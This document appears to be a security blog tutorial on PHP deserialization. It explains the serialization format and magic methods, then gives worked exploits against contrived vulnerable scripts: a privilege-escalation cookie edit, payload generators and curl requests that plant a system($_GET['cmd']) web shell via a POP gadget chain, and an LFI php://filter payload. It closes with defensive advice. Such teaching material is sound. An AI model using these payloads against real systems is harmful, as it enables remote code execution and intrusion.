Skip to main content

1. Background

Deserialization attacks, in which the ‘unserialization’ of attacker-controlled data can lead to the execution of malicious code on the host server, are commonly known. But unlike vulnerabilities such as SQL injection, exploiting a deserialization vulnerability requires more knowledge of the application’s code base and cannot always be enumerated using a tool. It also typically requires you to develop exploit code in order to leverage the weakness and show impact.

In this blogpost, I would like to introduce the basic concepts of deserialization, and how to go about exploiting it. Using PHP examples to learn these concepts is a great place to start due to the human readable serialized data it produces. Hopefully this will assist you in understanding what is going on “under-the-hood” in other languages which favour compactness of the data over human-readability with regards to the serialization formats they have defined.

It should be noted that the aim of this blogpost is to consolidate concepts from a wide variety of sources to create one concise resource for the wider security community to use; it is not to redefine established concepts. Therefore, I have shamelessly reused information across a variety of resources which will be referenced for further reading at the end of the post. Credit goes to all who contributed to those resources.

2. Introduction to Deserialization

Let’s start at the beginning, why does the concept of serialization exist?

Unlike simple scalar variables, objects can contain multiple scalar values, methods and references. This creates complicated data structures that cannot simply be transmitted over the network using name-value pairs within a GET request. Sending this information in a POST body would now require a defined format for how the data is to be interpreted.

Serialization aims to solve this problem. Let’s say we have some objects in memory and you want to transmit these objects over a network to another server or would like to persist their state by storing them in a file or database. How would you do that?

A naive approach would be to create a memory dump and save it to disk or transmit it over the network. The issue with this approach is that it requires the same hardware architecture on the receiving end, such as the memory layout and byte ordering, if the data is to be interpreted correctly. So, this approach would not work reliably given differences in underlying hardware; an architecture independent solution is required.

In order to overcome these issues, serialization was created. This is the process of converting an object into a stream of bytes (a string representation) which is a data format that can be stored to a file, or in a database, or transmitted over the network. Serialization’s main purpose is to save the state of an object in order for it to be recreated when needed.

Each programming language has defined its own data formats that the serialization and deserialization processes produce and consume.

Let’s take a look at what a serialized object looks like in PHP and compare it to Java. The object which we will look at will be a simple User object, which only contains 3 proprieties which describes the user’s username, if they are an admin, and if they are logged in. The respective code written in PHP and Java is shown below:

Figure 1: Serialized User Object in PHP
Figure 2: Serialized User Object in Java

Serialization of an object of the above classes would result in different byte-streams being created, which depends on the serialization format defined by the associated coding language.

For instance, the Java serialization format begins with a two-byte magic number which is “0xACED”. This is followed by a two-byte version number. Following the four-byte header are one or more content elements, the first byte of each should be in the range 0x70 to 0x7E and describes the type of the content element, which is used to infer the structure of the following data in the stream1. This can be seen in the below image showing the serialized Java object:

Figure 3: Serialized User Object Java byte-stream

The PHP serialization format, which we explore later in the post, would produce the following string:

O:4:”User”:3:{s:8:”loggedIn”;b:1;s:8:”username”;s:5:”Alice”;s:7:”isAdmin”;b:0;}

The reverse of this process, when an object is recreated from a byte-stream/string, is called deserialization. An important part of this process is the notion that we control and can set all of the properties of the created object. This is intended to allow us to recreate the object in the same state as when it was originally serialized. Later, we will see how this can allow us to overwrite values we would not normally be able to access in order to exploit an application’s deserialization process.

The PHP serialization process will be used for the purposes of this blog post, as I would like to explore an interesting case whereby PHP archive files can be used to exploit deserialization in a PHP application that doesn’t even use deserialization. Its serialization format is also human-readable, which will help to understand the process. The base concepts learned here can then be applied to other programming languages.

Now that we understand why serialization exists, let’s take a look at how this process is implemented in PHP

PHP provides us with two methods to handle the serialization and deserialization of objects. These methods are described in the PHP Manual2 3:

  • serialize() returns a string containing a byte-stream representation of any value that can be stored in PHP.
  • unserialize() can use this string to recreate the original variable values. Using serialize to save an object will save all variables within that object. However, the methods within an object will not be saved, only the name of the class.

The unserialize() function takes two parameters: a string to be deserialized, and an array of options. The only options defined in the PHP manual is an array of allowed_classes. The array should take one of the following forms: an array of class names which should be accepted, FALSE to accept no classes, or TRUE to accept all classes. If this option is defined and unserialize() encounters an object of a class that shouldn’t be accepted, then the object will be instantiated as __PHP_Incomplete_Class instead. That is, the object will be instantiated with no methods and only the properties which we have defined. Omitting this option is the same as defining it as TRUE: PHP will attempt to instantiate objects of any class.

3. Exploitation

How would you be able to exploit deserialization

Exploiting the unsafe deserialization of user-supplied data can result in numerous types of attacks, such as authorisation or authentication bypasses or the ability to execute code.

For example, if the application uses a serialized object to represent the user session, then modifying that object could allow you to bypass the authentication process (i.e. change the username in the serialized object from ’guest’ to a valid username), or perform either vertical or horizontal privilege escalation by modifying certain properties (i.e. set the ’is_admin’ property to true).

Let’s focus on obtaining remote code execution. In these cases, what you typically want to do is get the application to deserialize a serialized object and pass it into another class of object, one which the developers did not expect you to create.

To understand why, let’s look back at the description of the serialize() and unserialize() methods which has two important points to note:

  1. When creating a serialized object, only the properties and the name of the class are saved. All of the methods within the object are lost.
  2. The unserialize() function can take an array of allowed_classes which defines what classes will be accepted when the deserialization process takes place. If this array is not set, PHP will default to allow any class.

Note that the serialized object only contains the properties and the class name, we cannot define methods which the deserialized object should have. However, if a PHP script deserializes a class, and the script knows of the class definition, either by the class being defined in the same PHP script or in another file which is included, it will automatically include those methods in the recreated object. This is key to achieving remote code execution. But we also need a way for these methods to be triggered; more on that later when we cover PHP Magic Methods.

Autoloading Classes in PHP

Something to look out for when determining which classes are available to the script is the use of autoloading in PHP. Autoloading was introduced to help developers load classes without needing to write a long list of includes at the beginning of a script. This was first done using the __autoload() function, but this has since been replaced by the spl_autoload_register() function since PHP 5. These functions give the PHP engine a last chance to load a class or interface before throwing an error. As such, they are called whenever a script attempts to instantiate an object of a class which has not been defined. An example is given below:

<?php
spl_autoload_register(function ($classname) { 
       include $class_name . '.php'; 
});

$obj = new SomeUndefinedClass(); 
?>

When $obj is instantiated, the script has not included a definition of the SomeUndefinedClass class. Before throwing an error, the script will use the spl_autoload_register method, which will attempt to include SomeUndefinedClass.php from the same directory as the script. This will allow you to access all of the classes defined in other PHP files contained in the same directory, without explicitly including them.

Now let’s take a look at the PHP serialization format, as it will help us to identify when user input is being deserialized by an application.

Understanding the PHP Serialization Format

The PHP serialized format is simply a string, which is human-readable. Let’s take a look at an example in order to help us in identifying when a PHP application is accepting serialized data from an application user.

The string is comprised of a number of name-value pairs. It starts with a type specifier (like s for strings or i for integers), followed by a colon, followed by the actual data, followed by a semicolon. Simple types are represented by <key>:<value> pairs as follows:

Boolean – b:<b>; where <b> is a 1 or 0

$bool = true;
echo serialize($bool);
// Output: b:1;

Integer – i:<i>; where <i> is number

$int = 42;
echo serialize($int);
// Output: i:42;

Floats – d:<f>; where <f> is a float with precision 17 by default

$float = 42.1234; echo serialize($float);
// Output: d:42.1234;

Strings – s:<i>:“<s>”; where <i> is the string length of <s>, and <s> is a string

$string = “foobar”; echo
serialize($string); // Output:
s:6:”foobar”;

There are also two compound types that we may serialize, arrays and objects:

Arrays – a:<i>:<elements> where: <i> indicates the number of elements in the array Each <element> is an <index>;<value>; pair. The <index> is a serialized integer that starts from 0 which is used to determine the position in the array The <value> is one of the simple serializable types mentioned above (boolean, integer, floats, or strings).

$array = [ 
        10,
        "foobar",
        12.86,
        ['a', 'nested', 'array']
]; 
echo serialize($array);
// Output: 
a:4:{i:0;i:10;i:1;s:6:"foobar";i:2;d:12.86;i:3;a:3:{i:0;s:1:"a";i:1;s:6:" nested";i:2;s:5:"array";}}

Objects – O:<i>:“<s>”:<i>:<properties> where:

  • The first <i> is the string length of <s>
  • <s> is the fully qualified class name (class name prepended by the namespace)
  • The second <i> represents the number of object properties
  • The <properties> are zero or more <name>;<value> pairs where:
    • <name> is a serialized string representation of the properties name* (s:<stringLength>:“<property name>”).
    • <value> is any serializable type which has been discussed.

* The values of <name> differs per visibility of properties:

  • With public properties <name> is the simple name of the property.
  • With protected properties, however, <name> is the simple name of the property, prepended with * — an asterix, enclosed in two NUL characters (i.e. chr(0)).
  • And with private properties, <name> is the simple name of the property, prepended with <s> — <s>, enclosed in two NULL characters, where <s> is the fully qualified class name.

For this example, the user’s state is stored in a serialized cookie that contains the following information:

  • If the user is logged in, or else they are a guest
  • Their username
  • If the user is an admin

A snippet of the PHP code that defines the class is as follows:

class User { public function __construct(?bool $loggedIn = false, ?string $username = "guest ", ?bool $isAdmin = false)
      {
            $this->loggedIn=$loggedIn;
            $this->username=$username;
            $this->isAdmin=$isAdmin;
      }
}

And the serialized user object for a logged-in, non-admin user whose username is Alice is represented as the following string:

O:4:"User":3:{s:8:"loggedIn";b:1;s:8:"username";s:5:"Alice";s:7:"isAdmin";b:0;}

Let’s break down the string using the definition of how serialized PHP objects are formatted: O -> Indicates that we are dealing with a serialized object 4 -> The length of the fully qualified class name is 4 characters long “User” -> The object’s fully qualified class name is “User” 3 -> The number of properties that the object has defined -> The properties of the User object are contained in the curly braces as a series of name-value pairs:

  1. s:8:“loggedIn”;b:1; (“loggedIn” = true)
    • The property’s name is a string that has a length of 8 characters and the value of “loggedIn”.
    • The property’s value is a Boolean type, and has a value of 1 which is the Boolean true value.
  2. s:8:“username”;s:5:“Alice”; (“username” = “Alice”)
    • The property’s name is a string that has a length of 8 characters and the value of “username”
    • The property’s value is a string that has a length of 5 characters and a value of “Alice”.
  3. s:7:“isAdmin”;b:0; (“isAdmin” = false)
    • The property’s name is a string that has a length of 7 characters and a value of “isAdmin”.
    • The property’s value is a Boolean type, and has a value of 0 which is the Boolean false value.

So if you see a PHP application using name-value pairs delimited with colons and semi-colons, you know it is likely that the application is accepting and deserializing user input. You could alter values in the string, such as switching an admin field from False to True, to get a privilege escalation in the application or you may be able to modify a value such as the credit amount associated with your user. This type of attack would fall more under the authorisation bypass umbrella. However deserialization can also lead to RCE; let’s explore how to achieve that.

Identifying ‘unserialized’ user-provided input is the first step in exploiting deserialization as it will allow us to inject PHP Objects into the application’s scripts, also known as POI (PHP Object Injection).

What can be done depends on the application’s implementation. Sometimes you are able to infer how to exploit unsafe deserialization through an observation of the properties of the object being deserialized (such as switching an isAdmin property from false to true). If the application makes use of a PHP framework there may be known gadget chains that researchers have identified which you can use (more on this at the end of the post). Alternatively, we will need to look at the source code and identify useful classes which we can use to exploit the application. This may be as simple as identifying one class which we can exploit and use that class as our payload, or developing a whole POP Exploit Chain, which consists of multiple nested objects. We will develop our own exploit chain later on in this post.

Typical deserialization challenges will include a Local File Inclusion (LFI) vulnerability to allow you to gain access to the application’s source code. Using LFI to read PHP files, without them being interpreted, is typically done using the php://filter stream wrapper4. For instance, to read the index.php file the following payload may be useful: http://vuln.com/vulnscript?filename=php://filter/convert.base64-encode/resource=index.php

What is required in order to exploit deserialization in PHP?

In order to exploit PHP Object Injection, we require the following two conditions:

  • The class of the deserialized object needs to be defined (or autoloaded) and needs to be one of the allowed classes.
  • Either the class of the object must implement some magic method that allows an attacker to inject code (more on this shortly), or the application’s logic need to contain a vulnerability that we can exploit. For example, the application logic could either reference the deserialized object’s properties (which we can alter), or it can invoke a method of the object whose behaviour is controlled using the object’s properties (which we can alter).

I have already discussed the first requirement to exploit deserialization, namely that the script performing the deserialization needs to be aware of the class which you are attempting to instantiate. Otherwise, we will only be injecting objects which are part of the __PHP_Incomplete_Class, and will only contain the properties we defined, but no methods.

Let’s now take a look at Magic Methods, and why they are key in our attempts to exploit PHP Object Injection.

Magic Methods

PHP magic methods are methods which are automatically called in response to particular PHP events. You can identify them by name as they begin with two underscores. There are 15 magic methods in total, but I will only introduce the three most common methods used to exploit deserialization.

The first two methods will always be triggered by a deserialized class, provided that they have been defined:

__wakeup() is called whenever a class has been deserialized. The intended use of __wakeup() is to re-establish any database connections that may have been lost during serialization and perform other reinitialization tasks.

__destruct() is called once there are no more references to an object. This typically occurs when the script has finished executing, either by reaching a die(), exit(), or once the script has reached its logical conclusion. It would also be called once all references to the object have been destroyed. NB: when we are running code in a destruct chain, the garbage collector that is executing the method loses the application’s path context (it defaults to “/”), so for any file operations you need to use full paths!

Although the exploitation of the last method varies wildly according to its implementation, the prevalence of __toString as a vector in obtaining RCE, file reads, or file writes in applications warrants its mention here:

__toString() is called whenever an object is treated as a string. The __toString() method allows a class to decide how it will react when it is treated as a string. For example, what will print if the object were to be passed into an echo() or print() function?

The key point here is that these methods provide us an entry point to execute code in a PHP script which can be used to start our exploit chain. Since we can control all of the properties of an object which has been unserialized, we can overwrite properties which are used in these methods. Depending on the functions available in the magic methods, we can potentially obtain RCE.

If you have access to the source code, there is a Magic Method Mapping tool (https://github.com/dionach/magicmapping/) which can help identify magic methods which are currently available to a particular script, and any potentially dangerous functions (eval(), system(), unlink()) which the magic methods have access to.

Let’s see how we can exploit Magic Methods by taking a look at a practical example, in which the __destruct() call is used to log information.

Exploit Chain

Take a look at the following code:

<?php

class User {
      public function __construct(?bool $loggedIn = false, ?string $username = "guest ", 
      ?bool $isAdmin = false)
      {
            $this->loggedIn=$loggedIn;
            $this->username=$username;
            $this->isAdmin=$isAdmin;
      }
}

class LoggingClass { 
      function __construct($filename, $contents) 
      {
            // Force the .log file extension!
            $this->filename = $filename . ".log";
            // Log the contents
            $this->contents = $contents;
      }

      function __destruct() {
            // write the logs to disk when the object is destroyed/when the script has finished executing 
            file_put_contents(__DIR__ . "/" . $this->filename, $this->contents);
      }
}

if(isset($_GET['user'])) {
      // $user index exists, lets create the user object
      $user = unserialize($_GET['user']);
} else {
      // $user index doesnt exist, lets create the guest user object
      $user = new User();
}

if ($user->loggedIn === false) {
      // Redirect the user to the login page with their serialized user object 
      header('Location: login.php?user='.serialize($user)); 
      exit;
} else {
      // Let's track user attempting to access the admin page
      $logger = new LoggingClass($filename = $user->username, $contents=$user-> 
      username . " attempted to access the admin page at " . date("Y-m-d h:i:sa"));
}

if ($user->isAdmin === false) {
      // The user is trying to access the admin page as a non-admin. Redirect the user to the error page
      header('Location: error.php?error=Only+admins+can+access+this+page');
      exit;
} else {
      // Lets overwrite the previous contents message, and track admins that visit the admin page
      $logger->contents=$user->username . " accessed the admin page at " . date("Y-m-d h:i:sa");
}
...
?>

This script is a contrived example of the beginning of an admin.php page. The script defines the User class which is used throughout all pages of the application, to represents a user’s session. The object holds important information which the application logic uses, such as if the user is logged in, what their username is, and if they are an admin user.

The script has some logic, implemented using the if statements, to determine if the user is logged in and if they are an admin before continuing to render the admin page. If the user is not logged in, then they are directed to the login.php page. Finally, if they are logged in but do not have the isAdmin property set to true then they are redirected to an error page.

However, the application does not validate the integrity of the serialized object, so we could manipulate the serialized object that is sent to the PHP script. Also, the script does not set the allowed_classes array to limit the serialized object types to the User class.

Achieving Privilege Escalation

If you were to browse to this page without authenticating, you would be redirected to the login page with the following GET parameter: user=O:4:“User”:3:s:8:“loggedIn”;b:0;s:8:“username”;s:5:“guest”;s:7:“isAdmin”;b:0;

From our understanding of the PHP serialization format, we can tell that this is a serialized User object, with 3 properties defined. Thanks to PHP serialization being done in an ASCII format, we can easily alter the properties of this object just by changing the b:0 values (which are Boolean values set to false) to b:1 (to Boolean values set to true). We can then appear to be a logged in admin user to the application by submitting the altered serialized object to the admin.php page:

http://vulnerable.com/admin.php?user=O:4:“User”:3:s:8:“loggedIn”;b:1;s:8:“username”;s:6:“hacker”;s:7:“isAdmin”;b:1;

Achieving Remote Code Execution

Owing to the fact that we are not limited to the User class in the unserialize() call, we can also try and get the application to create a different object for us. You may have noticed that the LoggingClass is also defined in the script, let’s take a closer look at it.

The LoggingClass __construct method takes two parameters, the filename and the contents to be written to the log file. The __destruct method is called when the PHP script finishes execution and will write the contents value to the log file with the name filename.log.

Note: The unserialize() method acts as the constructor of the deserialized object. The __construct() is thus not called after unserialization as the object has already been created.

Assuming we could control the parameters passed to the filename via the constructor, we would still not be able to exploit this code as the “.log” file extension has been hardcoded into the constructor; however, since the script is using the unserialize() method, which assumes that the object has already been previously constructed, we can simply set the filename and contents for the object that will be created. Therefore, we have full control over these values due to bypassing security controls in the constructor.

This is the really interesting part; we can control values which user-input would never be able to access during the normal operation of the application.

You can either create the exploit code by hand, using the PHP serialize format, or create a script with our chosen values, and then use the serialize() call to produce the exploit string. I will show you the second method; this way you don’t need to manually count string lengths and make sure that all the colons, semi-colons, and angled brackets are in the correct positions.

<?php

class LoggingClass { 
      function __construct() { 
            $this->filename = "shell.php";
            $this->contents = "<?php echo system($_GET['cmd']);?>";
      }
}

$obj = new LoggingClass(); 
echo urlencode(serialize($obj));

?>

I have URL-encoded the output, as it will be necessary to do so before sending the payload so that the web server does not get confused by symbols such as ‘?’ in the payload.

Running this script will produce the following string:

O%3A12%3A%22LoggingClass%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22shell.php
    %22%3Bs%3A8%3A%22contents%22%3Bs%3A34%3A%22%3C%3Fphp+echo+system%28%24_GET%5B%27 
    cmd%27%5D%29%3B%3F%3E%22%3B%7D

Which is the URL-encoded version of:

O:12:"LoggingClass":2:{s:8:"filename";s:9:"shell.php";s:8:"contents";s:34:"";}

Using our understanding of the PHP serialization format, we can identify the string as the serialized version of a LoggingClass object which has 2 properties:

  • The filename has been set to “shell.php”
  • The contents has been set to “<?php echo system($_GET[’cmd’]);”

Note that there is no mention of the __destruct() method which we will be exploiting. This is why it is key that the class is defined in the script which is instantiating our objects.

Now we can submit the URL-encoded payload:

curl -X GET 'http://vulnerable.com/admin.php?user=O%3A12%3A%22LoggingClass%22%3A2%3A
    %7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A8%3A%22contents%22%3Bs
    %3A34%3A%22%3C%3Fphp+echo+system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%3B%7D'

The script will then unserialize our payload and instantiate an instance of the LoggingClass. When the script has completed its execution, the __destruct method is called which create our webshell for us to access at: http://vulnerable.com/shell.php?cmd=whoami

Creating a POP gadget chain

As I mentioned previously, due to the fact we can control all of the properties of an object being unserialized, we can overwrite properties which are referenced in any of the class’s methods. Creating a gadget chain takes this one step further by defining the properties of objects which are contained within our initial target object. Therefore, our exploit will contain nested objects, provided that the application is using nested objects. Each object is considered a gadget, and the nesting of objects results in our gadget chain. It is called a POP chain, as we have control of all the properties, which is similar to a ROP chain in which we can control the return address.

It’s important to note that a Magic Method is required to be the entry point in our exploit chain.

Let’s take a look at an example in which we can create a POP Gadget chain. The example is similar to the previous one, but I have removed the User class and associated application logic to make the example more succinct:

<?php
class LoggingClass { 
      function __construct($filename, $contents) { 
            // Force the .log file extension!
            $this->filename = $filename . ".log";
            // Log the contents
            $this->contents = $contents;
            $this->db_logger = new DBLogger($filename);
      }

      function __destruct() {
            // write the logs to disk
            $this->shutdown();
      }

      function shutdown() {
            $this->db_logger->log();
      }
}

class DBLogger {
      function __construct($filename) {
            $this->filename = $filename . ".mysql.log";
            $this->username = get_current_user();
      }

      function log() { 
            file_put_contents(__DIR__ . "/" . $this->filename, 
            "DB Connection Closed at " . time() . " by " . $this->username); 
      }
}

$data = unserialize($_GET['data']);

?>

The LoggingClass’s __construct method now creates an instance of the DBLogger class, which is assigned to its db_logger property. The LoggingClass itself is no longer exploitable, but it still provides us with the __destruct method which invokes the DBLogger’s log function, which now handles writing of the log contents to the log file. In order to exploit this, we need to set the properties of the db_logger object.

As before, we could construct the exploit code by hand but using the following script is more straightforward:

<?php
class LoggingClass { 
      function __construct() {
            $this->db_logger = new DBLogger(); 
      }
}

class DBLogger { 
      function __construct() {
            $this->filename = "shell2.php";
            $this->username = "<?php echo system($_GET['cmd']);?>";
      }
}

$obj = new LoggingClass(); 
echo serialize($obj); 
echo "\n";
echo urlencode(serialize($obj));
echo "\n";
?>

As before, the script will produce a URL-encoded payload that can be submitted to the web application. But for now, let’s look at the plaintext string which was produced:

O:12:"LoggingClass":1:{s:9:"db_logger";O:8:"DBLogger":2:{s:8:"filename";s:10:"shell2
      .php";s:8:"username";s:34:"";}}

We can identify the string as the serialized version of a LoggingClass object which has 1 property:

  1. the db_logger property which is set to an instance of the DBLogger object which has the following properties:
    • a filename property which is set to “shell2.php”
    • a username property which is set to “<?php echo system($_GET[’cmd’]);”

Note that we could not directly instantiate the DBLogger class as it does not contain any magic methods, and therefore the log() function would never be called. It would only have been defined as a method which is part of the $data object.

Now we can submit the URL-encoded payload:

curl -X GET 'http://vulnerable.com/vulnscript2.php?data=O%3A12%3A%22LoggingClass
    %22%3A1%3A%7Bs%3A9%3A%22db_logger%22%3BO%3A8%3A%22DBLogger%22%3A2%3A%7Bs%3A8%3A 
    %22filename%22%3Bs%3A10%3A%22shell2.php%22%3Bs%3A8%3A%22username%22%3Bs%3A34%3A
    %22%3C%3Fphp+echo+system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%3B%7D%7D

The script will then unserialize our payload and instantiate an instance of the LoggingClass which will contain an instance of the DBLogger class. When the script has completed its execution, the LoggingClass’s __destruct method is called, which will then call the db_logger’s log() method, which will create our webshell for us to access at: http://vulnerable.com/shell2.php?cmd=whoami

This is how you can chain together objects, of which you control all of the property values, in order to obtain RCE in an application.

Commonly used gadgets

When encountering deserialization on a website you don’t have the code of, Ambionics Security have created the PHPGGC tool5 which allows you to generate PHP unserialize() payloads for various PHP frameworks without having to go through the tedious steps of finding gadgets and combining them. Currently, the tool supports gadget chains such as: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, WordPress, Yii and ZendFramework.

For instance, the following gadget chains are available for Laravel:

NAME                      VERSION                  TYPE                              VECTOR           I
Laravel/RCE1           5.4.27                     RCE (Function call)     __destruct 
Laravel/RCE10         5.6.0 <= 9.1.8+        RCE (Function call)     __toString 
Laravel/RCE2          5.4.0 <= 8.6.9+       RCE (Function call)     __destruct 
Laravel/RCE3          5.5.0 <= 5.8.35       RCE (Function call)     __destruct     *
Laravel/RCE4          5.4.0 <= 8.6.9+       RCE (Function call)     __destruct 
Laravel/RCE5          5.8.30                     RCE (PHP code)           __destruct     *
Laravel/RCE6          5.5.* <= 5.8.35       RCE (PHP code)            __destruct     *
Laravel/RCE7          ? <= 8.16.1               RCE (Function call)      __destruct     *
Laravel/RCE8          7.0.0 <= 8.6.9+       RCE (Function call)      __destruct     *
Laravel/RCE9          5.4.0 <= 9.1.8+       RCE (Function call)       __destruct

Note that a specific gadget chain will affect certain versions of the framework. The gadgets were then identified and patched in newer versions of Laravel. This is a continuous battle between researchers identifying new gadget chains, and the vendor patching the framework to prevent the gadget chain from working.

4. Standard approach to defending against deserialization

In order to prevent PHP object injections from happening, it is recommended to never pass untrusted user input into the unserialize() function. You could also authenticate all data you receive as being previously generated by the backend using digital signatures 6. If implemented correctly, this would prevent the application from unserializing an object which an attacker has manipulated. Additionally, a whitelist of allowed classes should be defined in all instances of the unserialize() call.

In the next part of this blog post I will cover PHP PHAR Deserialization, in which we can achieve deserialization in a PHP application which doesn’t even make use of the unserialize() method.

5. Future work

In the next blog post from this series I will cover PHP PHAR Deserialization, in which we can achieve deserialization in a PHP application which doesn’t even make use of the unserialize() method.

References